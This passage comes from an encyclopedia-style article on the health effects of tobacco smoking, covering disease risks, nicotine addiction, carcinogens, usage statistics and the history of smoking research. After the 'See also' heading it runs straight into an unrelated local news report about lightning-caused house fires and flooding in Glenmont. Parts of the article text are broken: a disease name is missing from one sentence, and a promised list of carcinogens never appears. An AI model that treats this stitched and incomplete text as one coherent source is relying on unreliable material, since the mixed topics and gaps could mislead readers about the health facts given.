Smoking is also linked to susceptibility to infectious diseases, particularly in the lungs (pneumonia). Smoking more than 20 cigarettes a day increases the risk of by two to four times,[90][91] and being a current smoker has been linked to a fourfold increase in the risk of invasive disease caused by the pathogenic bacteria Streptococcus pneumoniae.[92] It is believed that smoking increases the risk of these and other pulmonary and respiratory tract infections both through structural damage and through effects on the immune system. The effects on the immune system include an increase in CD4+ cell production attributable to nicotine, which has tentatively been linked to increased HIV susceptibility.[93]
Smoking increases the risk of Kaposi's sarcoma in people without HIV infection.[94] One study found this only with the male population and could not draw any conclusions for the female participants in the study.[95]
Impotence [ edit ]
The incidence of impotence (difficulty achieving and maintaining penile erection) is approximately 85 percent higher in male smokers compared to non-smokers.[96] Smoking is a key cause of erectile dysfunction (ED).[11][96] It causes impotence because it promotes arterial narrowing and damages cells lining the inside of the arteries thus leading to reduce penile blood flow.[97]
Female infertility [ edit ]
Smoking is harmful to the ovaries, potentially causing female infertility, and the degree of damage is dependent upon the amount and length of time a woman smokes. Nicotine and other harmful chemicals in cigarettes interfere with the body's ability to create estrogen, a hormone that regulates folliculogenesis and ovulation. Also, cigarette smoking interferes with folliculogenesis, embryo transport, endometrial receptivity, endometrial angiogenesis, uterine blood flow and the uterine myometrium.[98] Some damage is irreversible, but stopping smoking can prevent further damage.[99][100] Smokers are 60% more likely to be infertile than non-smokers.[101] Smoking reduces the chances of in-vitro fertilization (IVF) producing a live birth by 34% and increases the risk of an IVF pregnancy miscarrying by 30%.[101]
Psychological [ edit ]
American Psychologist stated, "Smokers often report that cigarettes help relieve feelings of stress. However, the stress levels of adult smokers are slightly higher than those of nonsmokers, adolescent smokers report increasing levels of stress as they develop regular patterns of smoking, and smoking cessation leads to reduced stress. Far from acting as an aid for mood control, nicotine dependency seems to exacerbate stress. This is confirmed in the daily mood patterns described by smokers, with normal moods during smoking and worsening moods between cigarettes. Thus, the apparent relaxant effect of smoking only reflects the reversal of the tension and irritability that develop during nicotine depletion. Dependent smokers need nicotine to remain feeling normal."[102]
Immediate effects [ edit ]
Users report feelings of relaxation, sharpness, calmness, and alertness.[103] Those new to smoking may experience nausea, dizziness, increased blood pressure, narrowed arteries, and rapid heart beat. Generally, the unpleasant symptoms will eventually vanish over time, with repeated use, as the body builds a tolerance to the chemicals in the cigarettes, such as nicotine.[citation needed]
Stress [ edit ]
Smokers report higher levels of everyday stress.[104] Several studies have monitored feelings of stress over time and found reduced stress after quitting.[105][106]
The deleterious mood effects of abstinence explain why smokers suffer more daily stress than non-smokers and become less stressed when they quit smoking. Deprivation reversal also explains much of the arousal data, with deprived smokers being less vigilant and less alert than non-deprived smokers or non-smokers.[104]
Recent studies have shown a positive relationship between psychological distress and salivary cotinine levels in smoking and non-smoking adults, indicating that both firsthand and secondhand smoke exposure may lead to higher levels of mental stress.[107]
Social and behavioral [ edit ]
Medical researchers have found that smoking is a predictor of divorce.[108] Smokers have a 53% greater chance of divorce than nonsmokers.[109]
Cognitive function [ edit ]
The usage of tobacco can also create cognitive dysfunction. There seems to be an increased risk of Alzheimer's disease, although "case–control and cohort studies produce conflicting results as to the direction of the association between smoking and AD".[110] Smoking has been found to contribute to dementia and cognitive decline,[111] reduced memory and cognitive abilities in adolescents,[112] and brain shrinkage (cerebral atrophy).[113][114]
Most notably, some studies have found that patients with Alzheimer's disease are more likely not to have smoked than the general population, which has been interpreted to suggest that smoking offers some protection against Alzheimer's. However, the research in this area is limited and the results are conflicting; some studies show that smoking increases the risk of Alzheimer's disease.[115] A recent review of the available scientific literature concluded that the apparent decrease in Alzheimer risk may be simply because smokers tend to die before reaching the age at which Alzheimer normally occurs. "Differential mortality is always likely to be a problem where there is a need to investigate the effects of smoking in a disorder with very low incidence rates before age 75 years, which is the case of Alzheimer's disease," it stated, noting that smokers are only half as likely as non-smokers to survive to the age of 80.[110]
Some older analyses have claimed that non-smokers are up to twice as likely as smokers to develop Alzheimer's disease.[116] However, a more current analyse found that most of the studies, which showed a preventing effect, had a close affiliation to the tobacco industry. Researchers without tobacco lobby influence have concluded the complete opposite: Smokers are almost twice as likely as nonsmokers to develop Alzheimer's disease.[117]
Former and current smokers have a lower incidence of Parkinson's disease compared to people who have never smoked,[118][119] although the authors stated that it was more likely that the movement disorders which are part of Parkinson's disease prevented people from being able to smoke than that smoking itself was protective. Another study considered a possible role of nicotine in reducing Parkinson's risk: nicotine stimulates the dopaminergic system of the brain, which is damaged in Parkinson's disease, while other compounds in tobacco smoke inhibit MAO-B, an enzyme which produces oxidative radicals by breaking down dopamine.[120]
In many respects, nicotine acts on the nervous system in a similar way to caffeine. Some writings have stated that smoking can also increase mental concentration; one study documents a significantly better performance on the normed Advanced Raven Progressive Matrices test after smoking.[121]
Most smokers, when denied access to nicotine, exhibit withdrawal symptoms such as irritability, jitteriness, dry mouth, and rapid heart beat.[122] The onset of these symptoms is very fast, nicotine's half-life being only 2 hours.[123] The psychological dependence may linger for months or even many years. Unlike some recreational drugs, nicotine does not measurably alter a smoker's motor skills, judgement, or language abilities while under the influence of the drug. Tobacco withdrawal has been shown to cause clinically significant distress.[124]
A very large percentage of schizophrenics smoke tobacco as a form of self-medication.[125][126][127][128] The high rate of tobacco use by the mentally ill is a major factor in their decreased life expectancy, which is about 25 years shorter than the general population.[129] Following the observation that smoking improves condition of people with schizophrenia, in particular working memory deficit, nicotine patches had been proposed as a way to treat schizophrenia.[130] Some studies suggest that a link exists between smoking and mental illness, citing the high incidence of smoking amongst those suffering from schizophrenia[131] and the possibility that smoking may alleviate some of the symptoms of mental illness,[132] but these have not been conclusive. In 2015, a meta-analysis found that smokers were at greater risk of developing psychotic illness.[133]
Recent studies have linked smoking to anxiety disorders, suggesting the correlation (and possibly mechanism) may be related to the broad class of anxiety disorders, and not limited to just depression. Current and ongoing research attempt to explore the addiction-anxiety relationship. Data from multiple studies suggest that anxiety disorders and depression play a role in cigarette smoking.[134] A history of regular smoking was observed more frequently among individuals who had experienced a major depressive disorder at some time in their lives than among individuals who had never experienced major depression or among individuals with no psychiatric diagnosis.[135] People with major depression are also much less likely to quit due to the increased risk of experiencing mild to severe states of depression, including a major depressive episode.[136] Depressed smokers appear to experience more withdrawal symptoms on quitting, are less likely to be successful at quitting, and are more likely to relapse.[137]
Pregnancy [ edit ]
A number of studies have shown that tobacco use is a significant factor in miscarriages among pregnant smokers, and that it contributes to a number of other threats to the health of the fetus. It slightly increases the risk of neural tube defects.[138]
Environmental tobacco smoke exposure and maternal smoking during pregnancy have been shown to cause lower infant birth weights.[139]
Studies have shown an association between prenatal exposure to environmental tobacco smoke and conduct disorder in children.[medical citation needed] As well, post-natal tobacco smoke exposure may cause similar behavioral problems in children.[medical citation needed]
Drug interactions [ edit ]
Smoking is known to increase levels of liver enzymes that break down drugs and toxins. That means that drugs cleared by these enzymes are cleared more quickly in smokers, which may result in the drugs not working. Specifically, levels of CYP1A2 and CYP2A6 are induced:[140][141] substrates for 1A2 include caffeine and tricyclic antidepressants such as amitriptyline; substrates for 2A6 include the anticonvulsant, valproic acid.
Multigenerational effects [ edit ]
Other harm [ edit ]
Protein AZGP1
Studies suggest that smoking decreases appetite, but did not conclude that overweight people should smoke or that their health would improve by smoking. This is also a cause of heart diseases.[142] Smoking also decreases weight by overexpressing the gene AZGP1 which stimulates lipolysis.[143]
Smoking causes about 10% of the global burden of fire deaths,[144] and smokers are placed at an increased risk of injury-related deaths in general, partly due to also experiencing an increased risk of dying in a motor vehicle crash.[145]
Smoking increases the risk of symptoms associated with Crohn's disease (a dose-dependent effect with use of greater than 15 cigarettes per day).[146][147][148][149] There is some evidence for decreased rates of endometriosis in infertile smoking women,[150] although other studies have found that smoking increases the risk in infertile women.[151] There is little or no evidence of a protective effect in fertile women. Some preliminary data from 1996 suggested a reduced incidence of uterine fibroids,[152] but overall the evidence is unconvincing.[153]
Current research shows that tobacco smokers who are exposed to residential radon are twice as likely to develop lung cancer as non-smokers.[154] As well, the risk of developing lung cancer from asbestos exposure is twice as likely for smokers than for non-smokers.[155]
New research has found that women who smoke are at significantly increased risk of developing an abdominal aortic aneurysm, a condition in which a weak area of the abdominal aorta expands or bulges, and is the most common form of aortic aneurysm.[156]
Smoking leads to an increased risk of bone fractures, especially hip fractures.[157] It also leads to slower wound-healing after surgery, and an increased rate of postoperative healing complication.[158]
Benefits [ edit ]
In addition to the numerous documented negative health effects of smoking, several types of "smoker's paradoxes" (cases where smoking appears to have specific beneficial effects) have been observed.[159] Smoking may prevent Parkinson's disease.[160]
Mechanism [ edit ]
Chemical carcinogens [ edit ]
Benzopyrene diol epoxide, an extremely carcinogenic (cancer-causing) metabolite of benzopyrene, a polycyclic aromatic hydrocarbon produced by burning tobacco [161] Benzopyrene, a major mutagen in tobacco smoke, in an adduct to DNA
Smoke, or any partially burnt organic matter, contains carcinogens (cancer-causing agents). The potential effects of smoking, such as lung cancer, can take up to 20 years to manifest themselves. Historically, women began smoking en masse later than men, so an increased death rate caused by smoking amongst women did not appear until later. The male lung cancer death rate decreased in 1975 — roughly 20 years after the initial decline in cigarette consumption in men. A fall in consumption in women also began in 1975[162] but by 1991 had not manifested in a decrease in lung cancer-related mortalities amongst women.[163]
Smoke contains several carcinogenic pyrolytic products that bind to DNA and cause genetic mutations. Particularly potent carcinogens are polycyclic aromatic hydrocarbons (PAH), which are toxicated to mutagenic epoxides. The first PAH to be identified as a carcinogen in tobacco smoke was benzopyrene, which has been shown to toxicate into an epoxide that irreversibly attaches to a cell's nuclear DNA, which may either kill the cell or cause a genetic mutation. If the mutation inhibits programmed cell death, the cell can survive to become a cancer cell. Similarly, acrolein, which is abundant in tobacco smoke, also irreversibly binds to DNA, causes mutations and thus also cancer. However, it needs no activation to become carcinogenic.[164]
There are over 19 known carcinogens in cigarette smoke.[165] The following are some of the most potent carcinogens:
Sidestream tobacco smoke, or exhaled mainstream smoke, is particularly harmful. Because exhaled smoke exists at lower temperatures than inhaled smoke, chemical compounds undergo changes which can cause them to become more dangerous. As well, smoke undergoes changes as it ages, which causes the transformation of the compound NO into the more toxic NO 2 . Further, volatilization causes smoke particles to become smaller, and thus more easily embedded deep into the lung of anyone who later breathes the air.[171]
Radioactive carcinogens [ edit ]
In addition to chemical, nonradioactive carcinogens, tobacco and tobacco smoke contain small amounts of lead-210(210Pb) and polonium-210 (210Po) both of which are radioactive carcinogens. The presence of polonium-210 in mainstream cigarette smoke has been experimentally measured at levels of 0.0263–0.036 pCi (0.97–1.33 mBq),[172][173] which is equivalent to about 0.1 pCi per milligram of smoke (4 mBq/mg); or about 0.81 pCi of lead-210 per gram of dry condensed smoke (30 Bq/kg).
Research by NCAR radiochemist Ed Martell suggested that radioactive compounds in cigarette smoke are deposited in "hot spots" where bronchial tubes branch, that tar from cigarette smoke is resistant to dissolving in lung fluid and that radioactive compounds have a great deal of time to undergo radioactive decay before being cleared by natural processes. Indoors, these radioactive compounds can linger in secondhand smoke, and greater exposure would occur when these radioactive compounds are inhaled during normal breathing, which is deeper and longer than when inhaling cigarettes. Damage to the protective epithelial tissue from smoking only increases the prolonged retention of insoluble polonium-210 compounds produced from burning tobacco. Martell estimated that a carcinogenic radiation dose of 80–100 rads is delivered to the lung tissue of most smokers who die of lung cancer.[174][175][176]
Smoking an average of 1.5 packs per day gives a radiation dose of 60-160 mSv/year,[177][178] compared with living near a nuclear power station (0.0001 mSv/year)[179][180] or the 3.0 mSv/year average dose for Americans.[180][181] Some of the mineral apatite in Florida used to produce phosphate for U.S.A. tobacco crops contains uranium, radium, lead-210 and polonium-210 and radon.[182][183] The radioactive smoke from tobacco fertilized this way is deposited in lungs and releases radiation even if a smoker quits the habit. The combination of carcinogenic tar and radiation in a sensitive organ such as lungs increases the risk of cancer.[citation needed]
In contrast, a 1999 review of tobacco smoke carcinogens published in the Journal of the National Cancer Institute states that "levels of polonium-210 in tobacco smoke are not believed to be great enough to significantly impact lung cancer in smokers."[184] In 2011 Hecht has also stated that the "levels of 210Po in cigarette smoke are probably too low to be involved in lung cancer induction ..."[185]
Oxidation and inflammation [ edit ]
Free radicals and pro-oxidants in cigarettes damage blood vessels and oxidize LDL cholesterol.[186] Only oxidized LDL cholesterol is taken-up by macrophages, which become foam cells, leading to atherosclerotic plaques.[186] Cigarette smoke increases proinflammatory cytokines in the bloodstream, causing atherosclerosis.[186] The pro-oxidative state also leads to endothelial dysfunction,[186] which is another important cause of atherosclerosis.[187]
Nicotine [ edit ]
Nicotine molecule
Nicotine, which is contained in cigarettes and other smoked tobacco products, is a stimulant and is one of the main factors leading to continued tobacco smoking. Nicotine is a highly addictive psychoactive chemical. When tobacco is smoked, most of the nicotine is pyrolyzed; a dose sufficient to cause mild somatic dependency and mild to strong psychological dependency remains. The amount of nicotine absorbed by the body from smoking depends on many factors, including the type of tobacco, whether the smoke is inhaled, and whether a filter is used. There is also a formation of harmane (a MAO inhibitor) from the acetaldehyde in cigarette smoke, which seems to play an important role in nicotine addiction[188] probably by facilitating dopamine release in the nucleus accumbens in response to nicotine stimuli. According to studies by Henningfield and Benowitz, nicotine is more addictive than cannabis, caffeine, ethanol, cocaine, and heroin when considering both somatic and psychological dependence. However, due to the stronger withdrawal effects of ethanol, cocaine and heroin, nicotine may have a lower potential for somatic dependence than these substances.[189][190] About half of Canadians who currently smoke have tried to quit.[191] McGill University health professor Jennifer O'Loughlin stated that nicotine addiction can occur as soon as five months after the start of smoking.[192]
Ingesting a compound by smoking is one of the most rapid and efficient methods of introducing it into the bloodstream, second only to injection, which allows for the rapid feedback which supports the smokers' ability to titrate their dosage. On average it takes about ten seconds for the substance to reach the brain. As a result of the efficiency of this delivery system, many smokers feel as though they are unable to cease. Of those who attempt cessation and last three months without succumbing to nicotine, most are able to remain smoke-free for the rest of their lives.[193][not in citation given] There exists a possibility of depression in some who attempt cessation, as with other psychoactive substances. Depression is also common in teenage smokers; teens who smoke are four times as likely to develop depressive symptoms as their nonsmoking peers.[194]
Although nicotine does play a role in acute episodes of some diseases (including stroke, impotence, and heart disease) by its stimulation of adrenaline release, which raises blood pressure,[72] heart and respiration rate, and free fatty acids, the most serious longer term effects are more the result of the products of the smouldering combustion process. This has led to the development of various nicotine delivery systems, such as the nicotine patch or nicotine gum, that can satisfy the addictive craving by delivering nicotine without the harmful combustion by-products. This can help the heavily dependent smoker to quit gradually, while discontinuing further damage to health.[citation needed]
Recent evidence has shown that smoking tobacco increases the release of dopamine in the brain, specifically in the mesolimbic pathway, the same neuro-reward circuit activated by drugs of abuse such as heroin and cocaine. This suggests nicotine use has a pleasurable effect that triggers positive reinforcement.[195] One study found that smokers exhibit better reaction-time and memory performance compared to non-smokers, which is consistent with increased activation of dopamine receptors.[196] Neurologically, rodent studies have found that nicotine self-administration causes lowering of reward thresholds—a finding opposite that of most other drugs of abuse (e.g. cocaine and heroin).
The carcinogenity of tobacco smoke is not explained by nicotine per se, which is not carcinogenic or mutagenic, although it is a metabolic precursor for several compounds which are.[citation needed] In addition, it inhibits apoptosis, therefore accelerating existing cancers.[197] Also, NNK, a nicotine derivative converted from nicotine, can be carcinogenic.
It is worth noting that nicotine, although frequently implicated in producing tobacco addiction, is not significantly addictive when administered alone.[198][non-primary source needed] The addictive potential manifests itself after co-administration of an MAOI, which specifically causes sensitization of the locomotor response in rats, a measure of addictive potential.[199]
Forms of exposure [ edit ]
Second-hand smoke [ edit ]
Second-hand smoke is a mixture of smoke from the burning end of a cigarette, pipe or cigar, and the smoke exhaled from the lungs of smokers. It is involuntarily inhaled, lingers in the air hours after cigarettes have been extinguished, and may cause a wide range of adverse health effects, including cancer, respiratory infections and asthma.[200] Non-smokers who are exposed to second-hand smoke at home or work are thought, due to a wide variety of statistical studies, to increase their heart disease risk by 25–30% and their lung cancer risk by 20–30%. Second-hand smoke has been estimated to cause 38,000 deaths per year, of which 3,400 are deaths from lung cancer in non-smokers.[201]
The current US Surgeon General's Report concludes that there is no established risk-free level of exposure to second-hand smoke. Short exposures to second-hand smoke are believed to cause blood platelets to become stickier, damage the lining of blood vessels, decrease coronary flow velocity reserves, and reduce heart rate variability, potentially increasing the risk of heart attack.[citation needed] New research indicates that private research conducted by cigarette company Philip Morris in the 1980s showed that second-hand smoke was toxic, yet the company suppressed the finding during the next two decades.[200]
Chewing tobacco [ edit ]
Chewing tobacco has been known to cause cancer, particularly of the mouth and throat.[202] According to the International Agency for Research on Cancer, "Some health scientists have suggested that smokeless tobacco should be used in smoking cessation programmes and have made implicit or explicit claims that its use would partly reduce the exposure of smokers to carcinogens and the risk for cancer. These claims, however, are not supported by the available evidence."[202] Oral and spit tobacco increase the risk for leukoplakia, a precursor to oral cancer.[203]
Cigars [ edit ]
Like other forms of smoking, cigar smoking poses a significant health risk depending on dosage: risks are greater for those who inhale more when they smoke, smoke more cigars, or smoke them longer.[70] The risk of dying from any cause is significantly greater for cigar smokers, with the risk particularly higher for smokers less than 65 years old, and with risk for moderate and deep inhalers reaching levels similar to cigarette smokers.[204] The increased risk for those smoking 1–2 cigars per day is too small to be statistically significant,[205] and the health risks of the 3/4 of cigar smokers who smoke less than daily are not known[206] and are hard to measure. Although it has been claimed that people who smoke few cigars have no increased risk, a more accurate statement is that their risks are proportionate to their exposure.[69] Health risks are similar to cigarette smoking in nicotine addiction, periodontal health, tooth loss, and many types of cancer, including cancers of the mouth, throat, and esophagus. Cigar smoking also can cause cancers of the lung and larynx, where the increased risk is less than that of cigarettes. Many of these cancers have extremely low cure rates. Cigar smoking also increases the risk of lung and heart diseases such as chronic obstructive pulmonary disease.[70]
Hookahs [ edit ]
A common belief among users is that the smoke of a hookah (waterpipe, narghile) is significantly less dangerous than that from cigarettes.[207] The water moisture induced by the hookah makes the smoke less irritating and may give a false sense of security and reduce concerns about true health effects.[208] Doctors at institutions including the Mayo Clinic have stated that use of hookah can be as detrimental to a person's health as smoking cigarettes,[209][210] and a study by the World Health Organization also confirmed these findings.[211]
Each hookah session typically lasts more than 40 minutes, and consists of 50 to 200 inhalations that each range from 0.15 to 0.50 liters of smoke.[212][213] In an hour-long smoking session of hookah, users consume about 100 to 200 times the smoke of a single cigarette;[212][214] A study in the Journal of Periodontology found that water pipe smokers were marginally more likely than regular smokers to show signs of gum disease, showing rates 5-fold higher than non-smokers rather than the 3.8-fold risk that regular smokers show.[215] According to USA Today, people who smoked water pipes had five times the risk of lung cancer of non-smokers.[216]
A study on hookah smoking and cancer in Pakistan was published in 2008. Its objective was "to find serum CEA levels in ever/exclusive hookah smokers, i.e. those who smoked only hookah (no cigarettes, bidis, etc.), prepared between 1 and 4 times a day with a quantity of up to 120 g of a tobacco-molasses mixture each (i.e. the tobacco weight equivalent of up to 60 cigarettes of 1 g each) and consumed in 1 to 8 sessions". Carcinoembryonic antigen (CEA) is a marker found in several forms of cancer. Levels in exclusive hookah smokers were lower compared to cigarette smokers although the difference was not as statistically significant as that between a hookah smoker and a non-smoker. Also, the study concluded that heavy hookah smoking (2–4 daily preparations; 3–8 sessions a day; >2 hrs to ≤ 6 hours) substantially raises CEA levels.[217] Hookah smokers were nearly 6 times more likely to develop lung cancer as compared to healthy non-smokers in Kashmir (India).[218]
Dipping tobacco [ edit ]
Dipping tobacco, commonly referred to as snuff, is also put in the mouth, but it is a flavored powder. it is placed between the cheek and gum. Dipping tobacco does not need to be chewed for the nicotine to be absorbed. First-time users of these products often become nauseated and dizzy. Long-term effects include bad breath, yellowed teeth, and an increased risk of oral cancer.[citation needed]
Users of dipping tobacco are believed to face less risk of some cancers than are smokers, but are still at greater risk than people who do not use any tobacco products.[219] They also have an equal risk of other health problems directly linked to nicotine, such as increased rate of atherosclerosis.[citation needed]
Prevention [ edit ]
Education and counselling by physicians of children and adolescents have been found to be effective in decreasing tobacco use.[220]
Usage [ edit ]
Percentage of females smoking any tobacco product [5] Percentage of males smoking any tobacco product. Note that there is a difference between the scales used for females and for males.
Though tobacco may be consumed by either smoking or other smokeless methods such as chewing, the World Health Organization (WHO) only collects data on smoked tobacco.[1] Smoking has therefore been studied more extensively than any other form of tobacco consumption.[2]
In 2000, smoking was practiced by 1.22 billion people, predicted to rise to 1.45 billion people in 2010 and 1.5 to 1.9 billion by 2025. If prevalence had decreased by 2% a year since 2000 this figure would have been 1.3 billion in 2010 and 2025.[221] Despite dropping by 0.4 percent from 2009 to 2010, the United States still reports an average of 17.9 percent usage.[38]
As of 2002, about twenty percent of young teens (13–15) smoked worldwide, with 80,000 to 100,000 children taking up the addiction every day, roughly half of whom live in Asia. Half of those who begin smoking in adolescent years are projected to go on to smoke for 15 to 20 years.[222]
Teens are more likely to use e-cigarettes than cigarettes. About 31% of teenagers who use e-cigs started smoking within 6 months, compared to 8% of non-smokers. Manufacturers don't have to report what is in e-cigs, and most teens either say its just flavoring, or don't know.[223][224]
The WHO states that "Much of the disease burden and premature mortality attributable to tobacco use disproportionately affect the poor". Of the 1.22 billion smokers, 1 billion live in developing or transitional nations. Rates of smoking have leveled off or declined in the developed world.[225] In the developing world, however, tobacco consumption was rising by 3.4% per year as of 2002.[222]
The WHO in 2004 projected 58.8 million deaths to occur globally,[226]:8 from which 5.4 million are tobacco-attributed,[226]:23 and 4.9 million as of 2007.[227] As of 2002, 70% of the deaths are in developing countries.[227]
The shift in prevalence of tobacco smoking to a younger demographic, mainly in the developing world, can be attributed to several factors. The tobacco industry spends up to $12.5 billion annually on advertising, which is increasingly geared towards adolescents in the developing world because they are a very vulnerable audience for the marketing campaigns. Adolescents have more difficulty understanding the long-term health risks that are associated with smoking and are also more easily influenced by "images of romance, success, sophistication, popularity, and adventure which advertising suggests they could achieve through the consumption of cigarettes". This shift in marketing towards adolescents and even children in the tobacco industry is debilitating to organizations' and countries' efforts to improve child health and mortality in the developing world. It reverses or halts the effects of the work that has been done to improve health care in these countries, and although smoking is deemed as a "voluntary" health risk, the marketing of tobacco towards very impressionable adolescents in the developing world makes it less of a voluntary action and more of an inevitable shift.[4]
Many government regulations have been passed to protect citizens from harm caused by public environmental tobacco smoke. The "Pro-Children Act of 2001" prohibits smoking within any facility that provides health care, day care, library services, or elementary and secondary education to children in the US.[228] On May 23, 2011, New York City enforced a smoking ban for all parks, beaches, and pedestrian malls in an attempt to eliminate threats posed to civilians by environmental tobacco smoke.[229]
History [ edit ]
Concern about health effects of tobacco has a long history. The coughing, throat irritation, and shortness of breath caused by smoking have always been obvious.[citation needed]
Pipe smoking gradually became generally accepted as a cause of mouth cancers following work done in the 1700s. An association between a variety of cancers and tobacco use was repeatedly observed from the late 1800s into the early 1920s. An association between tobacco use and vascular disease was reported from the late 1800s onwards.
Gideon Lincecum, an American naturalist and practitioner of botanical medicine, wrote in the early 19th century on tobacco: "This poisonous plant has been used a great deal as a medicine by the old school faculty, and thousands have been slain by it. ... It is a very dangerous article, and use it as you will, it always diminishes the vital energies in exact proportion to the quantity used - it may be slowly, but it is very sure."[230]
The 1880s invention of automated cigarette-making machinery in the American South made it possible to mass-produce cigarettes at low cost, and smoking became common. This led to a backlash and a tobacco prohibition movement, which challenged tobacco use as harmful and brought about some bans on tobacco sale and use.[14] In 1912, American Dr. Isaac Adler was the first to strongly suggest that lung cancer is related to smoking.[231] In 1924, economist Irving Fisher wrote an anti-smoking article for Reader's Digest which said "...tobacco lowers the whole tone of the body and decreases its vital power and resistance ... tobacco acts like a narcotic poison, like opium, and like alcohol, though usually in a less degree".[232] Reader's Digest for many years published frequent anti-smoking articles.[citation needed]
Prior to World War I, lung cancer was considered to be a rare disease, which most physicians would never see during their career.[25][233] With the postwar rise in popularity of cigarette smoking, however, came an epidemic of lung cancer.[234]
Early observational studies [ edit ]
From the 1890s onwards, associations of tobacco use with cancers and vascular disease were regularly reported.[13] In 1930, Fritz Lickint of Dresden, Germany, published[17][16] a metaanalysis citing 167 other works to link tobacco use to lung cancer.[16] Lickint showed that lung cancer sufferers were likely to be smokers. He also argued that tobacco use was the best way to explain the fact that lung cancer struck men four or five times more often than women (since women smoked much less),[17] and discussed the causal effect of smoking on cancers of the liver and bladder.[16]
It may be suggested that the chief reason that the subject has received so little attention from members of the medical profession is that the majority of them as of the general community practice smoking in one form of another, and do not wish to inquire too closely into a habit in defense of which so much can be said from the hedonistic but so little from the hygienic standpoint Rolleston, J. D. (1932-07-01). "The Cigarette Habit". British Journal of Inebriety (Alcoholism and Drug Addiction). 30 (1): 1–27. doi:10.1111/j.1360-0443.1932.tb04849.x. ISSN 1360-0443.
More observational evidence was published throughout the 1930s, and in 1938, Science published a paper showing that tobacco users live substantially shorter lives. It built a survival curve from family history records kept at the Johns Hopkins School of Hygiene and Public Health. This result was ignored or incorrectly explained away.[13]
An association between tobacco and heart attacks was first mentioned in the 1930; a large case–control study found a significant association in 1940, but avoided saying anything about cause, on the grounds that such a conclusion would cause controversy and doctors were not yet ready for it.[13]
Case-control studies were published in Germany in 1939 and 1943, and one in the Netherlands in 1948. A case-control study on lung cancer and smoking, done in 1939 by Franz Hermann Müller, had serious weaknesses in its methodology, but study design problems were better addressed in subsequent studies.[13] The Second World War, and the association of anti-tobacco research and public health measures with the Nazi leadership may have contributed to the lack of attention paid to these studies.[17] They were also published in German and Dutch. These studies were widely ignored.[235] In 1947 the British Medical Council held a conference to discuss the reason for the rise in lung cancer deaths; unaware of the German studies, they planned and started their own.[13]
Five case-control studies published in 1950 by researchers from the US and UK did draw widespread attention.[236] The strongest results were found by "Smoking and carcinoma of the lung. Preliminary report", by Richard Doll and Austin Hill,[237][13] and the 1950 Wynder and Graham Study, entitled "Tobacco Smoking as a Possible Etiologic Factor in Bronchiogenic Carcinoma: A Study of Six Hundred and Eighty-Four Proved Cases". These two studies were the largest, and the only ones to carefully exclude ex-smokers from their nonsmokers group. The other three studies also reported that, to quote one, "smoking was powerfully implicated in the causation of lung cancer".[236] The Doll and Hill paper reported that "heavy smokers were fifty times as likely as non-smokers to contract lung cancer".[237][236]
Causality [ edit ]
The case-control studies clearly showed a close link between smoking and lung cancer, but were criticized for not showing causality. Followup large prospective cohort studies in the early 1950s showed clearly that smokers died faster, and were more likely to die of lung cancer, cardiovascular disease, and a list of other diseases which lengthened as the studies continued[13]
The British Doctors Study, a longitudinal study of some 40,000 doctors, began in 1951.[20] By 1954 it had evidence from three years of doctors' deaths, based on which the government issued advice that smoking and lung cancer rates were related[238][20] (the British Doctors Study last reported in 2001,[20] by which time there were ≈40 linked diseases).[13] The British Doctors Study demonstrated that about half of the persistent cigarette smokers born in 1900–1909 were eventually killed by their addiction (calculated from the logarithms of the probabilities of surviving from 35–70, 70–80, and 80–90) and about two thirds of the persistent cigarette smokers born in the 1920s would eventually be killed by their addiction.[citation needed]
Public awareness [ edit ]
In 1953, scientists at the Sloan-Kettering Institute in New York City demonstrated that cigarette tar painted on the skin of mice caused fatal cancers.[235] This work attracted much media attention; the New York Times and Life both covered the issue. The Reader's Digest published an article entitled "Cancer by the Carton".[235]:14
On January 11, 1964, the United States Surgeon General's Report on Smoking and Health was published; this led millions of American smokers to quit, the banning of certain advertising, and the requirement of warning labels on tobacco products.[citation needed]
These results were first widely accepted in the medical community, and publicized among the general public, in the mid-1960s.[13] The medical community's resistance to the idea that tobacco caused disease has been attributed to bias from nicotine-dependent doctors, the novelty of the adaptations needed to apply epidemiological techniques an heuristics to non-infectious diseases, and tobacco industry pressure.[13]
The health effects of smoking have been significant for the development of the science of epidemiology. As the mechanism of carcinogenicity is radiomimetic or radiological, the effects are stochastic. Definite statements can be made only on the relative increased or decreased probabilities of contracting a given disease. For a particular individual, it is impossible to definitively prove a direct causal link between exposure to a radiomimetic poison such as tobacco smoke and the cancer that follows; such statements can only be made at the aggregate population level. Tobacco companies have capitalized on this philosophical objection and exploited the doubts of clinicians, who consider only individual cases, on the causal link in the stochastic expression of the toxicity as actual disease.[239]
There have been multiple court cases against tobacco companies for having researched the health effects of tobacco, but having then suppressed the findings or formatted them to imply lessened or no hazard.[239]
After a ban on smoking in all enclosed public places was introduced in Scotland in March 2006, there was a 17 percent reduction[when?] in hospital admissions for acute coronary syndrome. 67% of the decrease occurred in non-smokers.[240]
See also [ edit ]
Powerful thunderstorms caused flooding throughout the Capital Region on Tuesday and may be to blame for two house fires in Glenmont.
The Bethlehem Police Department Fire Investigation Team said it believes both fires were caused by lightning.
Firefighters from Elsmere, Delmar and Selkirk spent the early-morning hours fighting the blaze on Manor Drive, dousing the flames but not before the fire caused extensive damage inside the home.
Guy Dupuis woke up around 3 a.m. after hearing intense lightning. He said he saw a bright flash, heard a sharp crash and heard the smoke detectors go off.
His daughter Grace said when she arrived at the home on Manor Drive, smoke was pouring out of the house and firefighters were cutting holes in the roof. The flames were under control within 30 minutes, Grace Dupuis said, but the electrical system was fried. Everyone made it out of the heavily damaged home. The family's goldfish tank — and goldfish — were rescued from the flames.
"The vents are all black, there's soot everywhere," Grace Dupuis said. "Everything smells like smoke."
Investigators combed the basement for clues to the fire. Police are investigating the cause but said there were lightning strikes when the fire started at 3:45 a.m.
Maxwell Ansong, who lives about 300 feet away, said he heard the loud crash of a nearby lightning strike. He said it followed after 10 minutes of intense, continuous lightning.
"The lightning, when it comes, it comes with a rumble, but this one was different — very different," Angsong said.
About 5 a.m., a carbon monoxide alarm was activated at a home at 41 Wheeler Road in Glenmont. Bethlehem police, as well as Coeymans and Slingerlands fire departments, found a fire in the basement.
Heavy rain soaked the region. Preston Hollow in Albany County got 2.80 inches of rain. Middle Grove in Saratoga County got 3.10 inches. Northville, Fulton County, had 3.20 inches. Center Brunswick in Rensselaer County got nearly 2 inches of rain. Queensbury appeared to have gotten the heaviest amount — 3.68 inches — during the brief storm.
The reopening of Western Avenue near the end of the Northway was a sign the region was starting to recover from the overnight downpours that flooded streets and knocked out power to more than 1,400 National Grid customers.
